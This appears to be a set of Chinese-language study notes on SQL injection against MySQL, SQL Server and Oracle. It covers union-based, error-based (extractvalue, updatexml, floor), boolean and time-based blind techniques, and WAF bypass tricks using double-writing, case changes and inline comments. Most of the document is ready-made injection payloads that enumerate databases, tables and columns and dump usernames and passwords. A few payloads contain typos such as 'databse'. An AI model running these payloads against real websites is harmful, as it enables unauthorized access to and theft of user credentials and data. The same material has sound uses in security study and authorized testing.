sql注入
sql 注入
一般过程
- 找到网站注入点
- 判断注入点是字符型还是数字型注入(使用减法,使用
and 1=1
) - 判断闭合方式(fuzz,仅限于字符型注入)
- 判断前一条sql查询列数(推荐
group by
、order by
容易waf检测) - 查询回显位(仅限union注入)
1
?id=-1 union select 1,2,3
- 查询当前数据库库名
- 查询当前数据库所有表名
- table_name表示表名,mysql数据库有information_schema数据库,存放了表名,列名,information_schema.tables是存放所有表名的表,information_schema.columns是存放所有列名的表,table_schema是数据库的名称,table_name是存放表名的列(是information_schema.tables的属性),group_concat可以一行显示多个数据
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
- table_name表示表名,mysql数据库有information_schema数据库,存放了表名,列名,information_schema.tables是存放所有表名的表,information_schema.columns是存放所有列名的表,table_schema是数据库的名称,table_name是存放表名的列(是information_schema.tables的属性),group_concat可以一行显示多个数据
- 查询当前数据所有列名,column_name是存放所有列名的列,information_schema.columns包含了table_name属性
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
- 查询当前数据表所有列项 id,username,password
?id=-1 union select 1,2,group_concat(id,':',username,'****') from users
报错注入
原理:优先执行括号内的内容,报错注入最多一次只能显示32个字符
extractvalue报错注入
- 数据库读取XML文件,**extractvalue(书名,路径)**,路径格式必须是
/
,否则报错 - concat(0x7e,(select database))) 组合参数,concat用于连接字符串,若有一个参数为null,则返回null
?id=-1' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
- **substring(‘test’,x,y)**,从第x个字符开始,显示y个字符
- 解决只能返回32个字符串问题
?id=-1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30)))) --+ /*从第25个字符往后再显示30个字符*
- 数据库读取XML文件,**extractvalue(书名,路径)**,路径格式必须是
updatexml报错注入
- updatexml()修改文档,三个参数,第二个参数为路径
id=1' and 1=updatexml(1,concat(0x7e,(select databse())),3) --+
?id=1 union select 1,2,updatexml(1,concat(0x7e,(select database())),3) --+
SELECT concat_ws('-',2.3);
SELECT concat_ws('-',database(),floor(rand()*2));
select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as cc from information_schema.tables group by cc;
- updatexml()修改文档,三个参数,第二个参数为路径
floor报错注入
- floor,count,group by冲突报错
- 注入语句
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
盲注
- 布尔盲注
- 页面不会报错,页面有两种状态,一种真值,一种假值
?id=1' and ascii(substring((select database()),2,1))=101 --+
- 页面不会报错,页面有两种状态,一种真值,一种假值
时间盲注
select if(1>2,2,sleep(2));
绕过防火墙
preg_replace($reg,$replace.$id),替换函数
双写绕过
大小写绕过
替换
- order by = group by
- union select = union all select
混淆
- 注释:/*xxxx*/ /*!50000 version()*/ !会执行注释里的内容,版本大于5.0就会执行version()命令
?id=-1' union /*!99999xxx*/ select 1,2,3,4 --+
?id=-1' union /*!99999xxx*/ select 1,2,database(/*!99999 xxx*/) --+
- 换行: +(空格) %0A(换行,–+只注释当前行,换行后不注释)
- 换行加注释: %0a –+ xxx
?id=-1' union /*!50000 --+/*%0a select 1,2,database() */ --+
- 注释:/*xxxx*/ /*!50000 version()*/ !会执行注释里的内容,版本大于5.0就会执行version()命令
php?id= ———>mysql
asp?id= ———>access sql server
jsp?id= ———> oracle
sql server 注入
常见查询函数
select @@version; 数据库版本
select @@servername; 查询服务名
select host_name(); 查询主机名,如果用vnavicat远程连接,主机名是本地名字
select db_name; 查询当前数据库名
select user; 查询当前数据库的拥有者,结果为dbo。dbo 是每个数据库的默认用户,具有所有者权限,databaseOwner
只能使用order by函数查询列数
for xml path(‘’)===gropu_concat()
select * from user for xml path('')
quotename(表名)
select quotename() from user for xml path('')
?id=0' union select 1,2,(select quotename(table_name) from information_schema.tables for xml path('')) --+
?id=0' union select 1,2,(select quotename(column_name) from information_schema.columns where table_name='users' for xml path('')) --+
sql server 排除法
where 列名 not in 排除法
where name not in('database1','database2')
master..sysdatabases获取数据库名
?id=0' union select 1,2,name from master..sysdatabases where name not in('master','model','msdb','ReportServer','ReportServerTempDB') --+
sys.sysobjects表,存放所有数据库表名的表,xtype是S是system,U是user
?id=0' union select 1,2,name from sysobjects where xtype='U' --+
sys.syscolumns表,存放所有数据库列名的表,通过id确定表
?id=0' union select 1,2,name from syscolumns where id=(select id from sysobjects where name='users' and xtype='U') and name not in ('id') --+
报错注入
?id=0' and 1=(@@version) --+
?id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path('')) --+
- convert()把时间定义一个数据类型
- convert(data_type(length),data_to_beconverted,style)
- cast()将数据类型转换为另一种数据类型
- select cast(@@version as int)
布尔盲注
/?id=1' and ascii(substring(db_name(),1,1))>100 --+
时间盲注
- waitfor delay ‘00:00:02’查询动作等待2秒后反馈结果
if(ascii(substring((db_name()),1,1))>100) begin waitfor delay '00:00:00' end else begin waitfor delay '00:00:02' end --+
- waitfor delay ‘00:00:02’查询动作等待2秒后反馈结果
oracle 注入
- 数据类型保持一致
- 判断数据类型,dual是oracle的虚表
?id=0' union select '1',null,null from dual --+
出现报错,则第一个数据类型为整形,若没有报错,则为字符型?id=1' union select 1,'2','3' from dual --+
判断回显位 - wm_concat(),多行变一行,user_tables是表名,user_tab_columns是列名
?id=1' union select 1,'2',(select wm_concat(table_name) from user_tables) from dual --+
?id=1' union select 1,'2',(select wm_concat(column_name) from user_tab_columns where table_name='USER') from dual --+
?id=1' union select 1,'2',(select wm_concat(column_name) from user_tab_columns where table_name='USERS') from dual --+
- 判断数据类型,dual是oracle的虚表